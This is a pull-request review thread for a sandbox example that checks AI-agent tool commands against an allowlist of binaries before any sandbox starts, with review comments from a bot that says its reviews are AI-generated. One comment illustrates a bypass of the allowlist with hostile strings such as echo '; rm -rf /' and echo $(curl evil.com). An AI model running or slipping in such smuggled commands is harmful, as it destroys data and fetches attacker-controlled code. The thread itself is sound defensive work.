feat(examples): add agent tool argv allowlist sandbox (#645)

[cgflag]

Summary

• Add examples/agent-tool-allowlist-sandbox: host-side argv allowlist gate for agent tool commands (allow path runs in MicroVM + artifact readback; deny path fails fast without creating a sandbox).
• Reuse the official sandbox-code template — not another language/runtime or full Agent host; deliberately distinct from egress CIDR allowlists and existing agent integrations.
• Register the example in EN/ZH docs/*/guide/tutorials/examples.md.

Closes nothing — contributes to #645 (Rhino Bird: sandbox templates & examples ecosystem).

Differentiation (vs open #645 PRs)

• Not a new language image (Node/Go/Rust/Java/C++/Ruby/Jupyter…).
• Not full Agent orchestration (LangGraph / OpenClaw / OpenAI Agents).
• Not network CIDR / DB / snapshot demos — this is tool argv allow/deny on the host.

Test plan

• pip install -r examples/agent-tool-allowlist-sandbox/requirements.txt
• Create template from sandbox-code per README; set .env
• python run_allowlisted.py → prints agent-tool-allowlist-ok and artifact: artifact-ok
• python run_denied.py → prints denied_as_expected: ... and does not create a sandbox
• Confirm docs index links resolve after merge

Assisted-by: Cursor:Composer

[luzhixing12345]

please remove the useless ai generated descriptions in README.md and README_zh.md

[cgflag]

@luzhixing12345 Thanks for the review. I've removed the unnecessary AI-generated comparison/defense sections from README.md and README_zh.md, and rewrote them in the same concise style as other examples (what it is → template → env → run → limits). Also filled the #645 README bar: use cases, resource notes, and known limitations.

[cubesandboxbot]

Design inconsistency: is_allowlisted is named and typed as -> bool, but raises AllowlistDenied for empty commands via _first_token (line 40). The test confirms this — is_allowlisted("") raises, it does not return False. Consider returning False for empty input or renaming to check_allowlisted to signal it may raise.

[cubesandboxbot]

Security model documentation gap: Including python3 allows arbitrary Python execution in the guest (python3 -c "..."), which effectively permits any filesystem-level operation. The airgap limits network egress but not local exfiltration or guest destruction. This is fine as a demo choice, but the README Limitations should explicitly call out that a "tool argv allowlist" is only as restrictive as its broadest entry, and python3 is the broadest entry here.

[cubesandboxbot]

Redundant type annotation and duplicate call: Sequence[str] is a subtype of Iterable[str], so Sequence[str] | Iterable[str] in the union is redundant. And on line 61, is_allowlisted calls _first_token internally, then _first_token is called again here. Could restructure to call _first_token once and check directly.

[cubesandboxbot]

Docstring mismatch: The module-level docstring says "if IMAGE_TAG exists" but the code reads env var ALLOWLIST_IMAGE_TAG. Should be aligned.

[cubesandboxbot]

Fragile assertion: Reading source and doing a substring check for "Sandbox.create" matches inside comments/docstrings too. An AST-based check or verifying that run_denied.py doesn't import Sandbox at all would be more robust. Minor concern for an example.

[cubesandboxbot]

Review: PR #1062 — feat(examples): add agent tool argv allowlist sandbox

This review is AI-generated and should be verified by a human reviewer.

---

Overview

This PR contributes a new example (examples/agent-tool-allowlist-sandbox/) that demonstrates host-side argv allowlisting for agent tool commands before Sandbox.create(). The gate checks the first argv token against a configurable allowlist; non-allowlisted commands fail fast without creating a sandbox. It also registers the example in both EN and ZH docs.

Files: 16 added, 2 modified, 0 deleted
Net change: +973 lines
Base branch: master

---

Strengths

• Clean architecture: The core logic (is_allowlisted / assert_allowlisted) is separated from the runner scripts, verification script, and tests. Each file has a single responsibility.
• Good failure design: Empty commands, whitespace-only, malformed quoting, and path-style first tokens all return False — deny by default, no crashes.
• Thorough test coverage: Tests cover allow/deny paths, edge cases (empty, malformed quoting, path-style binaries, case sensitivity, injection-style first tokens), custom allowlists, code execution gating, and static analysis guards (Sandbox.create is never called in run_denied.py).
• Explicit capability model: CODE_EXECUTION_BINARIES is a separate set from DEFAULT_ALLOWED_BINARIES, and enable_code_execution=True is required to union them. This is clearly documented as a privilege escalation.
• Excellent documentation: The README clearly states what the example is for, what it isn't for, its limitations, and how to set it up — in both English and Chinese.
• Dockerfile synchronization: allowlist_sync.py programmatically generates the RUN snippet so verify_local.py can detect drift between code and Dockerfile.

---

Findings

1. Minor: Duplicate shlex.split call in assert_allowlisted

File: examples/agent-tool-allowlist-sandbox/allowlist.py, lines 526–534

assert_allowlisted calls is_allowlisted(command, ...), which internally calls _split_argv(command). If the command is denied, assert_allowlisted then calls _split_argv(command) a second time purely to extract the binary name for the error message.

def assert_allowlisted(command: str, ...) -> str:
    if not is_allowlisted(command, ...):  # calls _split_argv internally
        parts = _split_argv(command)       # calls _split_argv AGAIN
        binary = parts[0] if parts else ""
        raise AllowlistDenied(...)

Impact: Negligible for an example script — shlex.split is very cheap. Consider refactoring is_allowlisted to return the parsed parts alongside the boolean, but this is optional polish.

Severity: 🟢 Low (style)

---

2. Note: Exception message shows empty binary for unparseable commands

File: examples/agent-tool-allowlist-sandbox/allowlist.py, line 534

When a command has malformed quoting (e.g. echo 'unclosed), _split_argv returns None. The parts[0] if parts else "" guard handles this correctly (no crash), but the resulting error message shows an empty binary:

command not on tool allowlist: '' (full: "echo 'unclosed")

Impact: Minor — the "full:" field still shows the complete command, which is sufficient for debugging. Not a correctness issue.

Severity: 🟢 Low (cosmetic)

---

3. Note: aiohttp dependency in requirements.txt is for sidecar only

File: examples/agent-tool-allowlist-sandbox/requirements.txt, line 5

aiohttp>=3.9

The comment explains that aiohttp is only needed by run_allowlisted_sidecar.py (via the sidecar proxy). The core allow/deny scripts do not import it.

Impact: Users who only run run_allowlisted.py or run_denied.py will have an unused dependency installed. Consider splitting into requirements.txt (core) and requirements-sidecar.txt for clarity.

Severity: 🟢 Low (usability)

---

4. Note: _source_calls_sandbox_create AST check is best-effort

File: examples/agent-tool-allowlist-sandbox/test_allowlist.py, lines 799–813

The static analysis only matches Sandbox.create(...) where Sandbox is a bare ast.Name node. It would miss indirect patterns (s = Sandbox; s.create(...), from e2b_code_interpreter import Sandbox as S; S.create(...)).

Impact: Very low for this example — the test is a "safety net," and the real correctness proof is that run_denied.py actually raises AllowlistDenied (verified in step_deny()). No change needed.

Severity: 🟢 Informational

---

5. Note: Known limitation — first-argv-token gating only

File: examples/agent-tool-allowlist-sandbox/README.md, "Limitations" section

The documentation correctly calls out that this is capability-style tool gating on the first argv token only. Commands like echo '; rm -rf /' or echo $(curl evil.com) pass the gate because the first token is echo.

This is a documented design choice. The README explicitly states it is "not full parameter policy" and that "combining small tools / redirects is out of scope." No action needed.

Severity: 🟢 Informational

---

6. Note: Docker marker verification runs container from untrusted image tag

File: examples/agent-tool-allowlist-sandbox/verify_local.py, lines 1021–1032

file_proc = _run([
    "docker", "run", "--rm",
    "--entrypoint", "/bin/sh",
    image,
    "-c", "cat /etc/cube-sandbox/tool-allowlist.txt",
])

The image tag defaults to agent-tool-allowlist-sandbox:night-verified. If an attacker could place a malicious image at that tag, docker run --rm would execute /bin/sh from it. However:

• In practice, this is a locally-built image the user just created
• The entrypoint is overridden to /bin/sh, not the image's default entrypoint
• The command is read-only (cat)
• This step is optional — it's step_docker_markers_optional() and skips if the image isn't found

No change needed for this example.

Severity: 🟢 Informational

---

Documentation Review

• EN docs entry (docs/guide/tutorials/examples.md) — correct placement, matches table format, link resolves to the new directory. ✅
• ZH docs entry (docs/zh/guide/tutorials/examples.md) — same, properly translated. ✅
• README and README_zh are complete, well-structured, and consistent. ✅

Conclusion

This is a well-crafted example PR. The code is clean, thoroughly tested, and documented with appropriate context about what it does and does not do. The security model is explicitly scoped (host-side argv gate, not guest enforcement, not network policy), and the limitations are honestly stated.

All findings are low-severity or informational. No blocking issues.

Recommendation: Approve after optionally addressing finding #1 (style) and #3 (dependency splitting).

[cubesandboxbot]

Suggestion: is_allowlisted and assert_allowlisted have duplicated shlex.split + path-rejection logic.

is_allowlisted (line 64) parses the command itself, while assert_allowlisted (line 90) delegates token extraction to _first_token but repeats the path-style check independently. If either function's path-rejection logic is updated in the future, the other will drift.

Consider implementing assert_allowlisted as a thin wrapper around is_allowlisted:

def assert_allowlisted(
    command: str,
    allowed_binaries: Iterable[str] | None = None,
    *,
    enable_code_execution: bool = False,
) -> str:
    if not is_allowlisted(command, allowed_binaries, enable_code_execution=enable_code_execution):
        binary = _first_token(command)  # re-parse only for the error message
        raise AllowlistDenied(
            f"command not on tool allowlist: {binary!r} (full: {command!r})"
        )
    return command

This eliminates the duplicated shlex.split call and the duplicated "/" in binary or "\\" in binary condition, making the two APIs guaranteed to stay in sync.

[cubesandboxbot]

Nit: path.resolve() is computed (line 15) but is_file() and load_dotenv() use the unresolved path instead.

resolved_path is computed for the dedup set, but the is_file() check (line 20) and load_dotenv() (line 21) both use the unresolved path. On most filesystems this behaves identically since both candidates (__file__.with_name(".env") and cwd() / ".env") are already absolute. If .env were a symlink, Path.is_file() follows symlinks regardless, so this is not a functional bug — just a readability inconsistency. Consider using resolved_path consistently so the code reads as one intentional choice rather than accidentally mixed variables.

[cubesandboxbot]

Nit: path.resolve() computed but not used for is_file() / load_dotenv call.

resolved_path is computed (line 15) and used for the dedup set, but the subsequent is_file() check (line 20) and load_dotenv() call (line 21) both use the unresolved path instead. On most filesystems this behaves identically since both __file__.with_name(...) and cwd() / ... yield absolute paths. However, if .env were a symlink, path.is_file() would follow symlinks the same way resolved_path.is_file() would, so this is a readability inconsistency rather than a bug. Consider using resolved_path for the existence check and the load call to keep the intent clear.

[cubesandboxbot]

This is a near-identical copy of examples/code-sandbox-quickstart/env_utils.py, but with a functional difference: line 20 uses resolved_path.is_file() (correct) vs the original's path.is_file(). This drift means a bug fix to one won't apply to the other. Please align the two copies — either adopt the fix in the original too, or note the difference in a comment.

[cubesandboxbot]

aiohttp is listed unconditionally despite the comment saying it's "Required only for run_allowlisted_sidecar.py". Users running only run_allowlisted.py or run_denied.py pull in aiohttp + its transitive dependencies for no benefit. Either move it to a separate requirements-optional.txt, note it as a manual install in the README, or remove the comment (convenience of one file is a valid trade-off).

[cubesandboxbot]

This regex parsing the Dockerfile printf block is format-sensitive. Indentation changes, extra blank lines, or an inline comment cause it to miss the block, raising a bare SystemExit("Dockerfile printf allowlist block not found") with no diagnostic. When the regex fails to match, print ~200 chars around the expected area so the developer can see the drift immediately. Consider also adding the unit-test approach (assertIn(dockerfile_run_snippet(), dockerfile)) as a more robust alternative.

[cubesandboxbot]

The test name test_deny_path_never_calls_sandbox_create over-promises: it verifies gate-before-create ordering via a local helper with a mock, but does not test that the real run_denied.py script avoids Sandbox.create (that's covered by the static test_run_denied_script_has_no_sandbox_create below at line 79). Consider renaming to test_assert_allowlisted_raises_before_create to match what it actually verifies.

[cubesandboxbot]

On the deny path the command is parsed twice via shlex.split() — once in is_allowlisted() (which calls shlex.split on its first token extraction) and again in _first_token() for the error message. The comment on line 505 acknowledges this ("Re-parse only for the error message"), but for production code the double-parse is wasteful. Consider a refactor that parses once and passes the parsed tokens through, so the common path avoids the redundant split. Acceptable for an example, but worth noting since this is designed as a reference pattern.

[cubesandboxbot]

The seen_paths dedup set (lines 15–17) is unreachable dead code. The function returns immediately after loading the first .env file, so the second candidate (Path.cwd() / ".env") is only reached when the first (Path(__file__).with_name(".env")) doesn't exist — and in that case the resolved paths cannot be equal, so the dedup never triggers.

Consider removing seen_paths and the guard to simplify. (Harmless as-is, just worth noting.)

[cubesandboxbot]

assert_not_called() already verifies call_count == 0. The assertEqual on the next line is redundant — consider removing it.

[cubesandboxbot]

Minor: empty/whitespace command takes a different error-message format than other denials

When command is empty or whitespace-only, _first_token(command) raises AllowlistDenied("empty command") from inside itself, before the "not on tool allowlist" message below can execute. This means empty commands produce a different exception message shape than every other denial.

The existing test_empty_command test expects this behavior, so it's tested — but a consumer catching AllowlistDenied would need to handle two message formats. Consider normalizing so all denials flow through the same message template.

[cubesandboxbot]

Medium: fragile static source assertion — a comment mentioning Sandbox.create would trigger a false-positive failure

This test (and the similar one in test_allow_scripts_stack_airgap_egress on line 91) reads sibling source files and checks for the presence/absence of literal substrings. This is a clever regression guard for a security invariant, but it's brittle: adding Sandbox.create to any context in run_denied.py — even a docstring like """Note: this never calls Sandbox.create.""" — would break the test.

Consider either:
(a) Parsing the AST and checking for attribute-access nodes (ast.Call(ast.Attribute(ast.Name("Sandbox"), "create"))), or
(b) Embedding an explicit sentinel comment (e.g., # ALLOWLIST_GUARD: NO_SANDBOX_CREATE) in run_denied.py and checking for that sentinel instead.

[cubesandboxbot]

Missing license header

All other Python files in this example begin with the standard project header:

# Copyright (c) 2024 Tencent Inc.
# SPDX-License-Identifier: Apache-2.0

This file omits it. Please add the header for consistency with the rest of the example directory and project conventions.

[cubesandboxbot]

Note on path-separator check

The "\\" in binary check on line 494 runs after shlex.split() has already consumed backslash escapes (POSIX mode). A bare (unquoted) Windows-style path like C:\Windows\System32\cmd.exe would have its backslashes stripped before the check. Low risk for this Linux-targeted demo, but worth noting for anyone reusing the pattern.

[cubesandboxbot]

README references specific test method names

If these tests are renamed, the README becomes stale. Consider describing the concept rather than exact method identifiers.

[cubesandboxbot]

shlex.split() will raise ValueError on malformed input (e.g. unterminated quotes)

is_allowlisted() and assert_allowlisted() both call shlex.split(command) without catching ValueError. If an agent issues a command with malformed quoting like echo "unclosed or cat 'incomplete, the exception propagates unhandled — the gate would crash instead of cleanly denying.

Consider either:

• Wrapping the shlex.split() calls and returning False / raising AllowlistDenied on parse failure (preferred — keeps the predicate contract), or
• Documenting that callers must pass syntactically valid shell commands, and catching the exception at a higher boundary in production integrations.

[cubesandboxbot]

stdout + stderr concatenation could mask errors

If run_allowlisted.py (or the sidecar variant) prints the expected markers to stdout alongside an error on stderr, the concatenated out string still passes both marker checks. The exit-code check on line 1038 is a stronger guard, but a script that exits 0 while writing diagnostics to stderr (e.g. a warning about a deprecated API path) would pass silently. Consider checking stdout separately and logging stderr as a warning, or at minimum using a delimiter between the two.

[cubesandboxbot]

Suggestion: consider placing this entry near other agent-tooling examples

The "Agent Tool Allowlist Sandbox" is an agent-tooling example (alongside OpenClaw, OpenAI Agents SDK, OpenAI Agents + Code Interpreter). Appending it at the end of the table separates it from peers that users browsing agent integrations are most likely scanning. Consider inserting it after the "OpenAI Agents + Code Interpreter" row (or after "OpenAI Agents SDK Integration") to keep the agent-tooling cluster together. The same organizational note applies to docs/zh/guide/tutorials/examples.md.

[cubesandboxbot]

Note: aiohttp is only needed for the sidecar variant

The comment explains that aiohttp is only needed by run_allowlisted_sidecar.py (via e2b-dev-sidecar), but the core allow/deny scripts and tests don't use it.

Consider splitting into two files for clarity:

• requirements.txt — core dependencies (e2b-code-interpreter, python-dotenv)
• requirements-sidecar.txt — adds aiohttp>=3.9 and pulls in requirements.txt via -r requirements.txt

This way, users running only python run_allowlisted.py or python run_denied.py don't install an unnecessary dependency. Optional — it's a minor DX improvement for an example.

[cubesandboxbot]

Minor: duplicate _split_argv call on deny path

assert_allowlisted calls is_allowlisted(command, ...) which internally calls _split_argv(command). When the command is denied, _split_argv is called a second time here purely to extract the binary name for the error message.

Minor DRY opportunity. Not a correctness issue — just a style suggestion for the example.